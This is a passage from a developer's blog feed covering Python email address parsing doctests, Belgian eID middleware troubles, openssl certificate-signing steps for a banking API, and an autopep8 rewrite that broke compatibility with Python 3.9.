&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TEMPLATE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar@example.be;baz@example.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;message_from_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;compat32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;getaddresses&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;to&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]))&lt;/span&gt;
&lt;span class="go"&gt;[(&amp;#39;&amp;#39;, &amp;#39;&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I could customize the &lt;a class="reference external" href="https://docs.python.org/3/library/email.policy.html#email.policy.EmailPolicy.header_factory"&gt;header_factory&lt;/a&gt;,
but I’m afraid that this might change in the future.&lt;/p&gt;
&lt;p&gt;So I’ll rather ask the TIM user to replace their semicolons by commas.&lt;/p&gt;
&lt;p&gt;More precisely I wrote a TIM script for them:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;tim /exec:actexec(&amp;#39;parscan&amp;#39;)&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;DlgDefine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAR&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="n"&gt;strtran&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAR&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;,&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="n"&gt;NIL&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="n"&gt;Confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MsgSure&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;DbfScan&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;oPar&lt;/span&gt;&lt;span class="p"&gt;()},&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;NIL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;NIL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;NIL&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="n"&gt;TryRecLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DlgValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))})&lt;/span&gt;
&lt;span class="n"&gt;SetMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MsgDone&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;More tests:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;getaddresses&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo@example.com; bar@example.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="go"&gt;[(&amp;#39;&amp;#39;, &amp;#39;&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;getaddresses&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo@example.com; bar@example.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[(&amp;#39;&amp;#39;, &amp;#39;foo@example.com&amp;#39;), (&amp;#39;&amp;#39;, &amp;#39;&amp;#39;), (&amp;#39;&amp;#39;, &amp;#39;bar@example.org&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0402.html</guid><pubDate>Wed, 02 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Monday, March 31, 2025</title><link>https://luc.lino-framework.org/blog/2025/0331.html</link><description>&lt;section id="monday-march-31-2025"&gt;
&lt;h1&gt;Monday, March 31, 2025&lt;a class="headerlink" href="#monday-march-31-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Some days ago I upgraded &lt;a class="reference external" href="https://www.id.ee/artikkel/paigalda-id-tarkvara/"&gt;the software for using Estonian ID cards&lt;/a&gt; and now &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;eidreader&lt;/span&gt;&lt;/code&gt;
is broken, &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;docs/usage.rst&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;191&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eidreader&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;#doctest: +NORMALIZE_WHITESPACE&lt;/span&gt;
&lt;span class="n"&gt;Expected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eidreader_version&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;1.0.8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Could not find any reader with a card inserted&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;Got&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eidreader_version&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;1.0.8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Middleware not properly installed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dyn_unix&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SYS_dyn_LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;libbeidpkcs11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;shared&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The following approach did not work:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove libbeidpkcs11-bin
...
The following packages will be REMOVED
  libbeidpkcs11-bin
0 to upgrade, 0 to newly install, 1 to remove and 51 not to upgrade.
...
Removing libbeidpkcs11-bin (5.1.18v5.1.18-0u2204-1) ...

$ sudo apt install libbeidpkcs11-bin
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package libbeidpkcs11-bin is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried to reinstall Belgian eid software according to &lt;a class="reference external" href="https://eidreader.lino-framework.org/install.html#eidreader-install" title="(in eidreader)"&gt;&lt;span&gt;Installation&lt;/span&gt;&lt;/a&gt;.
But they don’t work on my computer, which I bought from a German company,
Tuxedo, who use install own variant of Debian called “Tuxedo OS”. I asked from
Tuxedo for help, but they answered promptly that “Unfortunately we are unable to
offer support for the individual setup, configuration or use of software.”&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0331.html</guid><pubDate>Mon, 31 Mar 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, March 27, 2025</title><link>https://luc.lino-framework.org/blog/2025/0327.html</link><description>&lt;section id="thursday-march-27-2025"&gt;
&lt;h1&gt;Thursday, March 27, 2025&lt;a class="headerlink" href="#thursday-march-27-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The Ibanity staff activated our application, now I will configure Jane to use
it.&lt;/p&gt;
&lt;p&gt;Creating a new application client certificate is more complicated for “live”
applications than for “sandbox” applications. The developer portal asks me&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;to generate an RSA key pair:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;genrsa&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;aes256&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="mi"&gt;2048&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;and then to generate a Certificate Signing Request:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="n"&gt;ibanity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;csr&lt;/span&gt; \
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;subj&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/C=BE/O=Isabel Group/OU=Isabel Group Certificate Authority/CN=Lino application account (abc123)/serialNumber=123456&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This creates a file ibanity.csr&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;and then to upload the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;ibanity.csr&lt;/span&gt;&lt;/code&gt; file to their server.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In response, I receive a zip file with two files &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;ca_chain.pem&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;certificate.pem&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I assume that I should run these commands in the project directory of my Lino
site.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0327.html</guid><pubDate>Thu, 27 Mar 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, March 13, 2025</title><link>https://luc.lino-framework.org/blog/2025/0313.html</link><description>&lt;section id="thursday-march-13-2025"&gt;
&lt;h1&gt;Thursday, March 13, 2025&lt;a class="headerlink" href="#thursday-march-13-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We had another occurrence of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5965"&gt;#5965&lt;/a&gt; (SyntaxError: unterminated string
literal) in the daily cron job that runs &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull_demos.sh&lt;/span&gt;&lt;/code&gt; on
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino-framework.org&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The reason was that autopep8 had transformed&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;meth_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned unexpected status code &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;into&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;meth_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned unexpected status code &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is indeed valid Python code under Python 3.12, but on a machine with Python
3.9 it caused a syntax error. The new syntax was introduced in  &lt;a class="reference external" href="https://docs.python.org/3/whatsnew/3.12.html"&gt;3.12&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As a result, our public demo sites were down for
several hours.&lt;/p&gt;
&lt;p&gt;Must I run all tests on both Python versions before pushing? The whole Lino test
suite (&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;) lasts almost an hour on my computer.&lt;/p&gt;
&lt;p&gt;I might have changed the line into:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;meth_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned unexpected status code &amp;quot;&lt;/span&gt; \
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But I finally refactored it yet a bit more:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;meth_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned unexpected status code &amp;quot;&lt;/span&gt; \
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This “wastes” a bit of processor time for creating a variable name, but I prefer
this construct because it is more readable, because it’s easier to extend the
message, for example like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;and the content is &lt;/span&gt;&lt;span class="si"&gt;{response.content}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;or to insert a temporary debugging message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The underlying reason for these issues is that I recently started to use
